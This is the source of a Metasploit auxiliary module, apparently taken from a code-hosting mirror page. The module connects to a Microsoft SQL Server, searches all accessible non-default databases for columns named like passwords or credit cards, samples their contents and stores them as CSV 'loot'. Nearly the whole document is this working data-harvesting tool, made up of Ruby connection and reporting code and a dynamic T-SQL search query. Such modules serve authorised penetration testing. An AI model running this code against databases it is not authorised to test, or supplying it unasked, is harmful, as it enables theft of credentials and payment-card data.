Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Scanner7include Msf::Auxiliary::Report8include Msf::Exploit::Remote::MSSQL9include Msf::OptionalSession::MSSQL1011def initialize(info = {})12super(update_info(info,13'Name' => 'Microsoft SQL Server Find and Sample Data',14'Description' => %q{This script will search through all of the non-default databases15on the SQL Server for columns that match the keywords defined in the TSQL KEYWORDS16option. If column names are found that match the defined keywords and data is present17in the associated tables, the script will select a sample of the records from each of18the affected tables. The sample size is determined by the SAMPLE_SIZE option, and results19output in a CSV format.20},21'Author' => [22'Scott Sutherland <scott.sutherland[at]netspi.com>', # Metasploit module23'Robin Wood <robin[at]digininja.org>', # IDF module which was my inspiration24'humble-desser <humble.desser[at]gmail.com>', # Help on IRC25'Carlos Perez <carlos_perez[at]darkoperator.com>', # Help on IRC26'hdm', # Help on IRC27'todb' # Help on GitHub28],29'License' => MSF_LICENSE,30'References' => [[ 'URL', 'http://www.netspi.com/blog/author/ssutherland/' ]]31))3233register_options(34[35OptString.new('KEYWORDS', [ true, 'Keywords to search for','passw|credit|card']),36OptInt.new('SAMPLE_SIZE', [ true, 'Number of rows to sample', 1]),37])38end3940def print_with_underline(str)41print_line(str)42print_line("=" * str.length)43end4445def run_host(ip)46sql_statement()47end4849def sql_statement()5051# DEFINED HEADER TEXT52headings = [53["Server","Database", "Schema", "Table", "Column", "Data Type", "Sample Data","Row Count"]54]5556# DEFINE SEARCH QUERY AS VARIABLE57sql = "58-- CHECK IF VERSION IS COMPATIBLE = > than 200059IF (SELECT SUBSTRING(CAST(SERVERPROPERTY('ProductVersion') as VARCHAR), 1,60CHARINDEX('.',cast(SERVERPROPERTY('ProductVersion') as VARCHAR),1)-1)) > 061BEGIN6263-- TURN OFF ROW COUNT64SET NOCOUNT ON;65--------------------------------------------------66-- SETUP UP SAMPLE SIZE67--------------------------------------------------68DECLARE @SAMPLE_COUNT varchar(800);69SET @SAMPLE_COUNT = '#{datastore['SAMPLE_SIZE']}';7071--------------------------------------------------72-- SETUP KEYWORDS TO SEARCH73--------------------------------------------------74DECLARE @KEYWORDS varchar(800);75SET @KEYWORDS = '#{datastore['KEYWORDS']}|';7677--------------------------------------------------78--SETUP WHERE STATEMENT CONTAINING KEYWORDS79--------------------------------------------------80DECLARE @SEARCH_TERMS varchar(800);81SET @SEARCH_TERMS = ''; -- Leave this blank8283-- START WHILE LOOP HERE -- BEGIN TO ITERATE THROUGH KEYWORDS8485WHILE LEN(@KEYWORDS) > 086BEGIN87--SET VARIABLES UP FOR PARSING PROCESS88DECLARE @change int89DECLARE @keyword varchar(800)9091--SET KEYWORD CHANGE TRACKER92SELECT @change = CHARINDEX('|',@KEYWORDS);9394--PARSE KEYWORD95SELECT @keyword = SUBSTRING(@KEYWORDS,0,@change) ;9697-- PROCESS KEYWORD AND GENERATE WHERE CLAUSE FOR IT98SELECT @SEARCH_TERMS = 'LOWER(COLUMN_NAME) like ''%'+@keyword+'%'' or '+@SEARCH_TERMS99100-- REMOVE PROCESSED KEYWORD101SET @KEYWORDS = SUBSTRING(@KEYWORDS,@change+1,LEN(@KEYWORDS));102103END104-- REMOVE UNNEEDED105SELECT @SEARCH_TERMS = SUBSTRING(@SEARCH_TERMS,0,LEN(@SEARCH_TERMS)-2);106107--------------------------------------------------108-- CREATE GLOBAL TEMP TABLES109--------------------------------------------------110USE master;111112IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable;113IF OBJECT_ID('tempdb..##mytable') IS NULL114BEGIN115CREATE TABLE ##mytable (116server_name varchar(800),117database_name varchar(800),118table_schema varchar(800),119table_name varchar(800),120column_name varchar(800),121column_data_type varchar(800)122)123END124125IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2;126IF OBJECT_ID('tempdb..##mytable2') IS NULL127BEGIN128CREATE TABLE ##mytable2 (129server_name varchar(800),130database_name varchar(800),131table_schema varchar(800),132table_name varchar(800),133column_name varchar(800),134column_data_type varchar(800),135column_value varchar(800),136column_data_row_count varchar(800)137)138END139140--------------------------------------------------141-- CURSOR1142-- ENUMERATE COLUMNS FROM EACH DATABASE THAT143-- CONTAIN KEYWORD AND WRITE THEM TO A TEMP TABLE144--------------------------------------------------145146-- SETUP SOME VARIABLES FOR THE MYCURSOR1147DECLARE @var1 varchar(800);148DECLARE @var2 varchar(800);149150--------------------------------------------------------------------151-- CHECK IF ANY NON-DEFAULT DATABASE EXIST152--------------------------------------------------------------------153IF (SELECT count(*)154FROM master..sysdatabases155WHERE name NOT IN ('master','tempdb','model','msdb')156and HAS_DBACCESS(name) <> 0) <> 0157BEGIN158DECLARE MY_CURSOR1 CURSOR159FOR160161SELECT name FROM master..sysdatabases162WHERE name NOT IN ('master','tempdb','model','msdb')163and HAS_DBACCESS(name) <> 0;164165OPEN MY_CURSOR1166FETCH NEXT FROM MY_CURSOR1 INTO @var1167WHILE @@FETCH_STATUS = 0168BEGIN169---------------------------------------------------170-- SEARCH FOR KEYWORDS/INSERT RESULTS INTO MYTABLE171---------------------------------------------------172SET @var2 = '173INSERT INTO ##mytable174SELECT @@SERVERNAME as SERVER_NAME,175TABLE_CATALOG as DATABASE_NAME,176TABLE_SCHEMA,177TABLE_NAME,178COLUMN_NAME,179DATA_TYPE180FROM ['+@var1+'].[INFORMATION_SCHEMA].[COLUMNS] WHERE '181182--APPEND KEYWORDS TO QUERY183DECLARE @fullquery varchar(800);184SET @fullquery = @var2+@SEARCH_TERMS;185186EXEC(@fullquery);187FETCH NEXT FROM MY_CURSOR1 INTO @var1188189END190CLOSE MY_CURSOR1191DEALLOCATE MY_CURSOR1192-------------------------------------------------193-- CURSOR2194-- TAKE A X RECORD SAMPLE FROM EACH OF THE COLUMNS195-- THAT MATCH THE DEFINED KEYWORDS196-- NOTE: THIS WILL NOT SAMPLE EMPTY TABLES197-------------------------------------------------198199IF (SELECT COUNT(*) FROM ##mytable) < 1200BEGIN201SELECT 'No columns where found that match the defined keywords.' as Message;202END203ELSE204BEGIN205DECLARE @var_server varchar(800)206DECLARE @var_database varchar(800)207DECLARE @var_table varchar(800)208DECLARE @var_table_schema varchar(800)209DECLARE @var_column_data_type varchar(800)210DECLARE @var_column varchar(800)211DECLARE @myquery varchar(800)212DECLARE @var_column_data_row_count varchar(800)213214DECLARE MY_CURSOR2 CURSOR215FOR216SELECT server_name,database_name,table_schema,table_name,column_name,column_data_type217FROM ##mytable218219OPEN MY_CURSOR2220FETCH NEXT FROM MY_CURSOR2 INTO @var_server,221@var_database,222@var_table_schema,223@var_table,224@var_column,225@var_column_data_type226WHILE @@FETCH_STATUS = 0227BEGIN228----------------------------------------------------------------------229-- ADD AFFECTED SERVER/SCHEMA/TABLE/COLUMN/DATATYPE/SAMPLE DATA TO MYTABLE2230----------------------------------------------------------------------231-- GET COUNT232DECLARE @mycount_query as varchar(800);233DECLARE @mycount as varchar(800);234235-- CREATE TEMP TABLE TO GET THE COLUMN DATA ROW COUNT236IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount237CREATE TABLE #mycount(mycount varchar(800));238239-- SETUP AND EXECUTE THE COLUMN DATA ROW COUNT QUERY240SET @mycount_query = 'INSERT INTO #mycount SELECT DISTINCT241COUNT('+@var_column+') FROM '+@var_database+'.242'+@var_table_schema+'.'+@var_table;243EXEC(@mycount_query);244245-- SET THE COLUMN DATA ROW COUNT246SELECT @mycount = mycount FROM #mycount;247248-- REMOVE TEMP TABLE249IF OBJECT_ID('tempdb..#mycount') IS NOT NULL DROP TABLE #mycount250251SET @myquery = '252INSERT INTO ##mytable2253(server_name,254database_name,255table_schema,256table_name,257column_name,258column_data_type,259column_value,260column_data_row_count)261SELECT TOP '+@SAMPLE_COUNT+' ('''+@var_server+''') as server_name,262('''+@var_database+''') as database_name,263('''+@var_table_schema+''') as table_schema,264('''+@var_table+''') as table_name,265('''+@var_column+''') as comlumn_name,266('''+@var_column_data_type+''') as column_data_type,267'+@var_column+','+@mycount+' as column_data_row_count268FROM ['+@var_database+'].['+@var_table_schema++'].['+@var_table+']269WHERE '+@var_column+' IS NOT NULL;270'271EXEC(@myquery);272273FETCH NEXT FROM MY_CURSOR2 INTO274@var_server,275@var_database,276@var_table_schema,277@var_table,@var_column,278@var_column_data_type279END280CLOSE MY_CURSOR2281DEALLOCATE MY_CURSOR2282283-----------------------------------284-- SELECT THE RESULTS OF THE SEARCH285-----------------------------------286IF (SELECT @SAMPLE_COUNT)= 1287BEGIN288SELECT DISTINCT cast(server_name as CHAR) as server_name,289cast(database_name as char) as database_name,290cast(table_schema as char) as table_schema,291cast(table_name as char) as table_schema,292cast(column_name as char) as column_name,293cast(column_data_type as char) as column_data_type,294cast(column_value as char) as column_data_sample,295cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2296END297ELSE298BEGIN299SELECT DISTINCT cast(server_name as CHAR) as server_name,300cast(database_name as char) as database_name,301cast(table_schema as char) as table_schema,302cast(table_name as char) as table_schema,303cast(column_name as char) as column_name,304cast(column_data_type as char) as column_data_type,305cast(column_value as char) as column_data_sample,306cast(column_data_row_count as char) as column_data_row_count FROM ##mytable2307END308END309-----------------------------------310-- REMOVE GLOBAL TEMP TABLES311-----------------------------------312IF OBJECT_ID('tempdb..##mytable') IS NOT NULL DROP TABLE ##mytable;313IF OBJECT_ID('tempdb..##mytable2') IS NOT NULL DROP TABLE ##mytable2;314315END316ELSE317BEGIN318----------------------------------------------------------------------319-- RETURN ERROR MESSAGES IF THERE ARE NOT DATABASES TO ACCESS320----------------------------------------------------------------------321IF (SELECT count(*) FROM master..sysdatabases322WHERE name NOT IN ('master','tempdb','model','msdb')) < 1323SELECT 'No non-default databases exist to search.' as Message;324ELSE325SELECT 'Non-default databases exist,326but the current user does not have327the privileges to access them.' as Message;328END329END330else331BEGIN332SELECT 'This module only works on SQL Server 2005 and above.';333END334335SET NOCOUNT OFF;"336337338339# STATUSING340341# CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING342begin343if session344set_mssql_session(session.client)345else346print_line(" ")347print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...")348return unless mssql_login_datastore349print_good("Successfully connected to #{mssql_client.peerhost}:#{mssql_client.peerport}")350end351result = mssql_query(sql, false)352353column_data = result[:rows]354rescue355print_error("Failed to connect to #{rhost}:#{rport}")356return357end358359# CREATE TABLE TO STORE SQL SERVER DATA LOOT360sql_data_tbl = Rex::Text::Table.new(361'Header' => 'SQL Server Data',362'Indent' => 1,363'Columns' => ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count']364)365366# STATUSING367print_status("Attempting to retrieve data ...")368369if (column_data.count < 7)370#Save loot status371save_loot="no"372373#Return error from SQL server374column_data.each { |row|375print_status("#{row.to_s.gsub("[","").gsub("]","").gsub("\"","")}")376}377return378else379#SETUP COLUMN WIDTH FOR QUERY RESULTS380#Save loot status381save_loot="yes"382column_data.each { |row|3830.upto(7) { |col|384row[col] = row[col].strip.to_s385}386}387print_line(" ")388end389390# SETUP ROW WIDTHS391widths = [0, 0, 0, 0, 0, 0, 0, 0]392(column_data|headings).each { |row|3930.upto(7) { |col|394widths[col] = row[col].to_s.length if row[col].to_s.length > widths[col]395}396}397398# PRINT HEADERS399buffer1 = ""400buffer2 = ""401headings.each { |row|4020.upto(7) { |col|403buffer1 += row[col].ljust(widths[col] + 1)404buffer2 += row[col]+ ","405}406print_line(buffer1)407buffer2 = buffer2.chomp(",")+ "\n"408}409410# PRINT DIVIDERS411buffer1 = ""412buffer2 = ""413headings.each { |row|4140.upto(7) { |col|415divider = "=" * widths[col] + " "416buffer1 += divider.ljust(widths[col] + 1)417}418print_line(buffer1)419}420421# PRINT DATA422buffer1 = ""423buffer2 = ""424print_line("")425column_data.each { |row|4260.upto(7) { |col|427buffer1 += row[col].ljust(widths[col] + 1)428buffer2 += row[col] + ","429}430print_line(buffer1)431buffer2 = buffer2.chomp(",")+ "\n"432433# WRITE QUERY OUTPUT TO TEMP REPORT TABLE434sql_data_tbl << [row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7]]435436buffer1 = ""437buffer2 = ""438print_line(buffer1)439}440disconnect441442this_service = nil443if framework.db and framework.db.active444this_service = report_service(445:host => mssql_client.peerhost,446:port => mssql_client.peerport,447:name => 'mssql',448:proto => 'tcp'449)450end451452# CONVERT TABLE TO CSV AND WRITE TO FILE453if (save_loot=="yes")454filename= "#{mssql_client.peerhost}-#{mssql_client.peerport}_sqlserver_query_results.csv"455path = store_loot("mssql.data", "text/plain", mssql_client.peerhost, sql_data_tbl.to_csv, filename, "SQL Server query results",this_service)456print_good("Query results have been saved to: #{path}")457end458459end460end461462463